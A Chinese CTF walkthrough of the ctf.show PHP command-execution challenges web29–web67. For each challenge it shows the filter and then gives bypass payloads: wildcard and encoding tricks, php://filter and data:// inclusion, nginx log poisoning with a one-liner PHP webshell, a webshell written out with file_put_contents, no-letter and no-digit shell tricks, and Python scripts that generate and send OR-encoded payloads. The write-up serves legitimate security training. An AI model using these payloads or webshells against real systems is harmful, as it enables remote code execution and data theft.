一.前置知识 好像也没什么需要提前知道的,在题目中慢慢积累总结就行
具体的可以参考下写的另一篇文章linux基础
二.题目 web29(过滤flag) <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
在输入中过滤flag,通过通配符?或者*即可绕过(?表示匹配一个字符,*表示匹配多个字符)
c=system("cat f*.php"); //由于注释,需在源代码中找到flag c=system("tac f*.php"); //倒序可以直接输出flag c=echo `tac f*`; c=eval($_GET[1]);&1=system('cat f*.php'); c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php //?>用来绕过分号,作为语句结束,原理为:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。用include来读取文件,由于文件内容被注释,所以需要编码返回 c=system("cp f*.php a.txt"); //复制到a.txt,访问a.txt获得flag c=file_put_contents("1.php",'<?php eval($_POST["cmd"]);?>'); //写一句话木马到1.php中,蚁剑连或者直接命令执行都行,没有了对flag的限制
web30(+system|php) <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
在php中,passthru()可以作为system()的等效,因此替换即可
c=passthru("cat f*"); c=passthru("tac f*"); c=passthru("cp f* a.txt");
web31(+cat|sort|shell|.| |') <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
使用tac,less,more等绕过cat,空格用%09或${IFS}代替
c=passthru("tac%09f*"); c=passthru("less%09f*"); //源码 c=passthru("more%09f*"); //源码 c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php c=eval($_GET[a]);&a=system('cat flag.php');
注意一个稍微复杂的payload
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"." pos():输出数组第一个元素,不改变指针; scandir();遍历目录,这里因为参数为"."所以遍历当前目录 array_reverse():元组倒置 next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以 show_source():查看源码
web32(+`|echo|;|()(日志注入) <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
过滤了括号,echo,分号,所以直接包含文件就行,先通过日志文件找到flag位置(涉及到文件包含)
我们通过响应头,发现是nginx,默认nginx日志文件在/var/log/nginx/access.log
c=include$_GET[a]?>&a=../../../../var/log/nginx/access.log
成功读取日志,观察到日志中含有UA,现在只需要向UA写入一句话木马,然后通过日志文件就可以任意命令执行了
https://7c4e939c-f7d2-4b3c-b150-41303288fe01.challenge.ctf.show/?c=include$_GET[a]?>&a=../../../../var/log/nginx/access.log 此时将UA设置为<?php eval($_POST[123]);?>,bp传进去后发现没有被解析就是传入成功了,类似下图倒二倒三,此时直接正常命令执行就可以了
123=system('tac flag.php');
当然,在已知flag在flag.php后也可以直接包含该文件
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
解码获得flag
web33(+")(日志注入/data协议/php协议) <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
还过滤了双引号,按照web32还是能做
日志注入 c=include$_GET[a]?>&a=../../../../var/log/nginx/access.log UA:<?php eval($_POST[123]);?>
123=system("tac flag.php");
data协议 c=include$_GET[a]?>&a=data://text/plain,<?php system("ls")?>
c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>
php协议(知晓文件名) c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web34(+:) <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
加了一个对冒号的过滤,但实际上和web33方法相同,因为检测只检测c的值,而传参时c=include$_GET[a]?>
不会被过滤
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?> c=include$_GET[a]?>&a=data://text/plain,<?php echo shell_exec("tac flag.php")?> 还有日志注入同理,不再演示
web35(+<|=) <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
添加尖角符和等号,由于没有过滤>,因此还是同web34
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?> c=include$_GET[a]?>&a=data://text/plain,<?php echo shell_exec("tac flag.php")?> 还有日志注入同理,不再演示
web36(+/|[0-9]) <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
过滤/和数字,还是同上(主要是c的部分没有被过滤就行),唯一可能就是如果传参不是a而是一个数字那这个题就要进行对应更换
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?> c=include$_GET[a]?>&a=data://text/plain,<?php echo shell_exec("tac flag.php")?> 还有日志注入同理,不再演示
web37(文件包含过滤flag)(日志注入/data伪协议) <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
一看换题型了,不再只是单纯的eval()函数了,但是再一看还是和前面类似的
日志注入 c=../../../../var/log/nginx/access.log UA:<?php eval($_POST[123]);?> 然后 123=system("tac flag.php"); 但是光眼睛找挺费眼的,还是搜索快
data伪协议 c=data://text/plain,<?php system("tac f*.php")?> c=data://text/plain;base64,PD9waHAKc3lzdGVtKCJ0YWMgZmxhZy5waHAiKQo/Pg== 原始如下 <?php system("tac flag.php") ?> 注意这里base64编码时换行符是必须需要的,<?php system("tac flag.php")?>则不行
web38(+php|file) <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|php|file/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
还是直接data伪协议就行了,但是注意由于php被过滤,就必须编码了
c=data://text/plain;base64,PD9waHAKc3lzdGVtKCJ0YWMgZmxhZy5waHAiKQo/Pg==
日志上传也没问题
web39(已添加后缀php) <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c .".php" ); } }else { highlight_file (__FILE__ ); }
后面加上了后缀,但是可以注释掉
GET:c=data://text/plain,<?php eval($_POST[cmd])?>// POST:cmd=system("ls"); cmd=system("tac flag.php");
.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
日志注入由于闭合不了,因此该题不能用了
web40(过滤数字等) <?php if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
首先要注意,这里过滤的不是英文小括号而是中文小括号,因此参考web29的rce
GET:c=eval(array_pop(next(get_defined_vars()))); POST:1=system("tac fl*"); get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。 next()将内部指针指向数组中的下一个元素,并输出。 array_pop() 函数删除数组中的最后一个元素并返回其值。
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或 c=show_source(next(array_reverse(scandir(getcwd())))); 解释: getcwd() 函数返回当前工作目录。它可以代替pos(localeconv()) localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"." pos():输出数组第一个元素,不改变指针; current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样 scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录 array_reverse():数组逆置 next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以 show_source():查看源码 pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。 每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。 提示:该函数不会移动数组内部指针。
相关的方法:
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。
web41(通过|来rce) <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; if (!preg_match ('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' , $c )){ eval ("echo($c );" ); } }else { highlight_file (__FILE__ ); } ?>
禁用了挺多字符,导致取反、自增、异或都不能使用,留下了|来进行rce
补充:在进行或运算时,两个字符或运算其实是通过二进制的或运算来实现,例如
01000001 (A) | 01000010 (B) -------- 01000011 (C)
因此我们可以先找到未被过滤的字符来进行或运算,从而得到绕过字符的ASCII值
这里给个一体化的脚本,对这个题来说直接输入url就行
import reimport urllibfrom urllib import parseimport requestscontents = [] for i in range (256 ): for j in range (256 ): hex_i = '{:02x}' .format (i) hex_j = '{:02x}' .format (j) preg = re.compile (r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-' , re.I) if preg.search(chr (int (hex_i, 16 ))) or preg.search(chr (int (hex_j, 16 ))): continue else : a = '%' + hex_i b = '%' + hex_j c = chr (int (a[1 :], 16 ) | int (b[1 :], 16 )) if 32 <= ord (c) <= 126 : contents.append([c, a, b]) def make_payload (cmd ): payload1 = '' payload2 = '' for i in cmd: for j in contents: if i == j[0 ]: payload1 += j[1 ] payload2 += j[2 ] break payload = '("' + payload1 + '"|"' + payload2 + '")' return payload URL = input ('url:' ) payload = make_payload('system' ) + make_payload('cat flag.php' ) response = requests.post(URL, data={'c' : urllib.parse.unquote(payload)}) print (response.text)
但是对常规题型来说,首先要有一个找到所有组合的脚本
def main (): result = [] for i in range (256 ): for j in range (256 ): hex_i = f'{i:02x}' hex_j = f'{j:02x}' try : byte_i = bytes.fromhex (hex_i).decode ('latin1' , errors='ignore' ) byte_j = bytes.fromhex (hex_j).decode ('latin1' , errors='ignore' ) if any (c in byte_i or c in byte_j for c in '0123456789abcdefghijklmnopqrstuvwxyz^+~$[]{}&-' ): continue a = f'%{hex_i}' b = f'%{hex_j}' c = chr (ord (byte_i) | ord (byte_j)) if 32 <= ord (c) <= 126 : result.append (f"{c} {a} {b}" ) except ValueError: continue with open ('rce_or.txt' , 'w' , encoding='utf-8' ) as f: f.write ("\n" .join (result)) print ("已成功生成文件rce_or.txt" ) if __name__ == "__main__" : main ()
运行后会保存所有结果到python代码文件夹下的rce_or.txt
文件,然后读取该文件运行即可
import requestsimport urllib.parseimport osdef read_rce_or_file (char ): try : with open ("rce_or.txt" , "r" , encoding='utf-8' ) as f: lines = f.readlines() for line in lines: if line.startswith(char): return line[2 :5 ], line[6 :9 ] raise ValueError(f"字符 '{char} ' 在 rce_or.txt 中未找到对应的编码" ) except FileNotFoundError: print ("[!] 错误: 文件 rce_or.txt 不存在,请确保文件路径正确。" ) exit(1 ) except Exception as e: print (f"[!] 错误: 读取 rce_or.txt 文件时出错: {e} " ) exit(1 ) def action (arg ): s1 = "" s2 = "" for i in arg: try : part1, part2 = read_rce_or_file(i) s1 += part1 s2 += part2 except ValueError as e: print (e) exit(1 ) return "(\"{}\"|\"{}\")" .format (s1, s2) def main (): try : url = input ("[+] 请输入URL:" ).strip() if not url: print ("[!] 错误: URL不能为空。" ) exit(1 ) function_input = input ("[+] 函数名:" ).strip() command_input = input ("[+] 命令:" ).strip() if not function_input or not command_input: print ("[!] 错误: 函数名和命令不能为空。" ) exit(1 ) param = action(function_input) + action(command_input) data = {'c' : urllib.parse.unquote(param)} response = requests.post(url, data=data, timeout=10 ) print ("\n[*] 结果:\n" + response.text) except requests.exceptions.RequestException as e: print (f"[!] 错误: 请求发送失败: {e} " ) except Exception as e: print (f"[!] 错误: 发生未知错误: {e} " ) if __name__ == "__main__" : main()
web42(不回显,隔开就行) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; system ($c ." >/dev/null 2>&1" ); }else { highlight_file (__FILE__ ); }
具体来说是将c命令的输出重定向到 /dev/null
并且将错误输出也重定向到相同的地方。这意味着无论这个命令产生了什么标准输出或错误信息,都不会显示出来。
这个命令简单来说也就是不回显,所以通过;来隔开就行了
还有一些隔开方法
; //分号 %0a //换行符 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行 注意,使用&时需要url编码
web43(过滤;|cat) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
把分号过滤,用其他分隔符就行了
c=tac flag.php||ls c=tac flag.php%26%26ls //即c=tac flag.php&&ls c=tac flag.php%0a
web44(+flag) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/;|cat|flag/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤了flag,通过通配符绕过就行
c=tac f*||ls c=tac f*%26%26ls c=tac f*%0a
web45(+空格) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| /i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤了空格,通过换行符或者${IFS}绕过
c=tac%09f*||ls c=tac${IFS}f*||ls
web46(+数字|$|*) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤了数字、通配符*、${IFS},通过<和’’绕过,反斜杠绕过也行
c=tac<fla''g.php|| c=ta\c<fl\ag.php|| c=tac%09fla?.php|| c=tac%09fla''g.php|| //注意虽然会过滤数字,但是会先转换,即先转换为换行符,所以无影响
注意,这里不能使用<和通配符?组合 ,比如c=tac<fla?.php
原因为在php中默认shell为sh,如果tac<fla?.php
,会真的去寻找fla?.php
这个文件,而不是flag.php
这个文件,通配符未起到作用,所以不能正常使用
web47(+more|less|head|sort|tail) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤了一些读文件的操作,和上题一样用tac读就行了
c=tac<fla''g.php|| c=ta\c<fl\ag.php|| c=tac%09fla?.php|| c=tac%09fla''g.php|| //注意虽然会过滤数字,但是会先转换,即先转换为换行符,所以无影响 c=nl%09fla''g.php|| //源码,nl命令用于对文本文件的行进行编号后输出
web48(+sed|cut|awk|strings|od|curl|`) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
还是直接同web47就行
c=tac<fla''g.php|| c=ta\c<fl\ag.php|| c=tac%09fla?.php|| c=tac%09fla''g.php|| //注意虽然会过滤数字,但是会先转换,即先转换为换行符,所以无影响 c=nl%09fla''g.php|| //源码
web49(+%) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
同理
c=tac<fla''g.php|| c=ta\c<fl\ag.php|| c=tac%09fla?.php|| c=tac%09fla''g.php|| //注意虽然会过滤数字,但是会先转换,即先转换为换行符,所以无影响 c=nl%09fla''g.php|| //源码
web50(+\x09|\x26) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
添加了\x09(tab)和\x26(&)两个Unicode编码,但是不影响,不用%09绕过空格而是用<绕过就行了
c=tac<fla''g.php|| c=ta\c<fl\ag.php|| c=nl<fla''g.php|| //源码
web51(+tac) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
好像和50没区别?怪怪的,但是思路相同
c=tac<fla''g.php|| c=ta\c<fl\ag.php|| c=nl<fla''g.php|| //源码
好吧,测试时第一个payload不成功,测出来tac被过滤了,反斜杠绕过即可又看了一遍才发现tac在中间,眼瞎了
c=ta\c<fl\ag.php|| c=nl<fla''g.php|| //源码 c=vi<fla\g.php|| //vi是一个文本编辑器,但它可以用来查看文件。<flag.php 会将文件内容作为输入传递给 vi
web52(+<|>) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤了<,空格要重新绕了,但是注意到过滤中把$放出来了,所以直接${IFS}
绕过
c=ta\c${IFS}fl\ag.php|| c=nl${IFS}fla''g.php|| //源码 c=vi${IFS}fla\g.php|| //vi是一个文本编辑器,但它可以用来查看文件。flag.php 会将文件内容作为输入传递给 vi
发现并没有flag的值,试试ls /看看
看到flag了,原来放在根目录下,直接读取就行
c=ta\c${IFS}/fl\ag|| c=nl${IFS}/fla''g|| //源码 c=vi${IFS}/fla\g|| //vi是一个文本编辑器,但它可以用来查看文件。flag.php 会将文件内容作为输入传递给 vi
web53(同上) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ echo ($c ); $d = system ($c ); echo "<br>" .$d ; }else { echo 'no' ; } }else { highlight_file (__FILE__ ); }
原先还以为题目不一样了,细看还是差不多,只不过会先将输入命令输出后换行输出结果,并且不用隔开了
c=ta\c${IFS}fla\g.php c=nl${IFS}fla\g.php c=ca\t${IFS}fla\g.php c=ca$@t${IFS}fla?.php //$@是一个特殊的变量,代表命令行的所有参数。在Shell中解释:假设$@ 是空的则 ca$@t可能被解析为cat
web54(+只要payload按顺序出现黑名单中字符就ban) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
.*
表示任何字符序列,所以即使中间有空格或者其他字符插入,只要能拼出“cat”或者“flag”,就会被匹配到。因此只能使用一些其他命令
c=ls //flag.php index.php c=/bin/ca?${IFS}f???.??? //把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,绕过cat限制,查看源码即可 c=grep${IFS}'fla'${IFS}f???.??? //查找包含字符串'fla'的行后输出 c=uniq${IFS}f???.php //uniq从排序后的文件中删除或报告重复的行,这里直接源码中就可找到flag c=vi${IFS}fl??.php //源码中可找到flag c=rev${IFS}fla?.php //将每一行的字符顺序反转,所以获得反的flag
这里在测试payload时发现个问题,奇奇怪怪
c=/bin/ca?${IFS}f???.??? √ c=/bin/ca?${IFS}fl??.??? × c=uniq${IFS}f???.php √ c=uniq${IFS}fl??.php × c=vi${IFS}f???.php √ c=vi${IFS}fl??.php √
好吧,最后发现是由于题目还过滤了nl的原因,二四这两个payload都构造出了nl被过滤了
总结 语句隔开方法 ; //分号 %0a //换行符 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行 注意,使用&时需要url编码
空格绕过方法 < //重定向操作符,表示从文件读取输入。 %09 //tab ${IFS} //Unix/Linux Shell中的一个环境变量,用于定义shell在分割字符串为单词时所使用的分隔符。默认情况下,IFS 包含空格、制表符(Tab)和换行符
flag绕过方法 fla''g.php //通过''隔开,在 PHP 中,单引号是字符串的界定符,但如果两个单引号连在一起,PHP 会把它们当作一个空字符串来处理,因此处理后仍为flag.php fla?.php/f* //通配符,找到匹配的文件输出,?表示匹配单个字符,*表示匹配多个字符 fl\ag.php //反斜杠绕过,\是转义字符。如果这个字符串是双引号括起来的,那 \a 就会被解析为 ASCII 的报警字符(\x07);但如果是单引号括起来的,\ 就不会转义,而是保留为普通字符。比如'fl\ag.php'结果是字符串 "fl\ag.php","fl\ag.php"结果是字符串 "fl\x07g.php"
web55(无字母rce) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
把所有字母全部ban了
基础 通过通配符或者八进制绕过
c=/???/????64 ????.??? //原始为c=/bin/base64 flag.php,即base64编码后输出,这个不是通用的,因为base64不是每个机器都有 c=$'\143\141\164'%20* //原始为c=$'cat' *,传参后源码找到 c=$'\164\141\143' $'\146\154\141\147\56\160\150\160' //原始为c=$'cat' $'flag/php' c=/???/???/????2 ????.??? //原始为c=/usr/bin/bzip2 flag.php,把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来
进阶(.的执行命令用法) 主要是通过.
在php中的用法,即相当于source
可以执行sh命令。
我们可以通过post一个文件(文件里面含有sh命令),在上传的过程中,通过.(点)
去执行这个文件(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????
一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
在php中,使用Content-Type: multipart/form-data;
上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir
参数为保存临时文件的路经,linux下面默认为/tmp
。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows中)、php**.tmp(Linux中)。
那么首先先构造一个上传文件的请求包,本地html打开抓包如下图
<!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > POST数据包POC</title > </head > <body > <form action ="http://f794d624-66b3-443e-b991-48ed3074347e.challenge.ctf.show/" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > </form > </body > </html >
然后添加参数?c=.+/???/????????[@-[]
注:后面的[@-[]
是linux下面的匹配符,是进行匹配的大写字母。并且该题过滤了字母,所以不能直接写成/tmp/php?????[@-[]
并且将文件内容改为如下
注意这里不一定成功,需要多尝试几次
然后直接读flag就行了
web56(无字母数字rce) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
把数字和$也一起ban了,因此上题的基础方法都不行了,通过.
的执行来获取flag
这里偷个懒,由于上题重发器还没关,直接更改host就出答案了
web57($(( ))用法) <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i" , $c )){ system ("cat " .$c .".php" ); } }else { highlight_file (__FILE__ ); }
把cat命令都写出来了,意思也就是只要传参c=36就行了
echo ${#} //0 echo ${##} //1 echo $((${##}+${##})) //2 echo $(($((${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##})))) //36
首先要知道双小括号的用处:
双小括号(( ))是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。
表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以c=$((a+b))为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。 还要知道$(())
的值是0。此外,关于取反,如果b=~a,那么a+b=-1。
由上述可知,想获得36,就需要对-37进行取反。
下面给个python脚本
get_reverse_number = "$((~$(({}))))" negative_one = "$((~$(())))" a=int (input ("请输入要获得的数:" )) payload = get_reverse_number.format (negative_one*(a+1 )) print (payload)
最终payload
c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
源码获得flag
web58(过滤命令执行函数) <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
?直接传参好像就能实现?
但是提示system()被禁用
试试passthru()?也被禁了,那应该是能执行命令的都被禁了,尝试伪协议
php伪协议 c=include($_POST[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php
成功拿到flag
highlight_file命令 看了wp,还可以直接用命令来实现
c=highlight_file("flag.php");
至于日志注入由于也要用到system(),所以这个题不能使用
如果想要找到文件名,可以通过下面的命令
c=print_r(scandir(dirname('FILE')));
补充 读取文件的函数 file_get_contents() highlight_file() show_source() fgets() file() readfile()
代码执行函数 eval() assert() call_user_func() create_function() array_map() \******call_user_func_array() array_filter() uasort() preg_replace()
命令执行函数 system() passthru() exec() pcntl_exec() shell_exec() popen()/proc_popen() 反引号 ``
web59-65(同上) <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
两种解法均同上
c=highlight_file("flag.php"); c=include($_POST[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php
web66(重点如何找到flag文件) <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
觉得还是一样,果断c=highlight_file("flag.php");
,但是这次flag不在flag.php了
重新查找含flag的文件
c=print_r (scandir ("/" )); c=print_r (scandir (dirname ('FILE' ))); 解释一下,这两个语句意思是列出指定目录下的所有文件和文件夹 dirname ('FILE' ):获取'FILE' 所在目录的路径scandir ():读取目录中的文件和文件夹,返回一个数组print_r ():以可读格式打印数组内容,并赋值给变量$c
看到根目录下flag.txt,直接读取
c=highlight_file ("/flag.txt" ); c=include ($_POST [123 ]);&123 =php:
web67(禁用print_r) <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
尝试c=print_r(scandir("/"));
,结果print_r被禁用了
用var_dump输出
c=var_dump(scandir("/"));
还是flag.txt
c=include($_POST[a]);&a=php://filter/resource=/flag.txt c=highlight_file("/flag.txt");
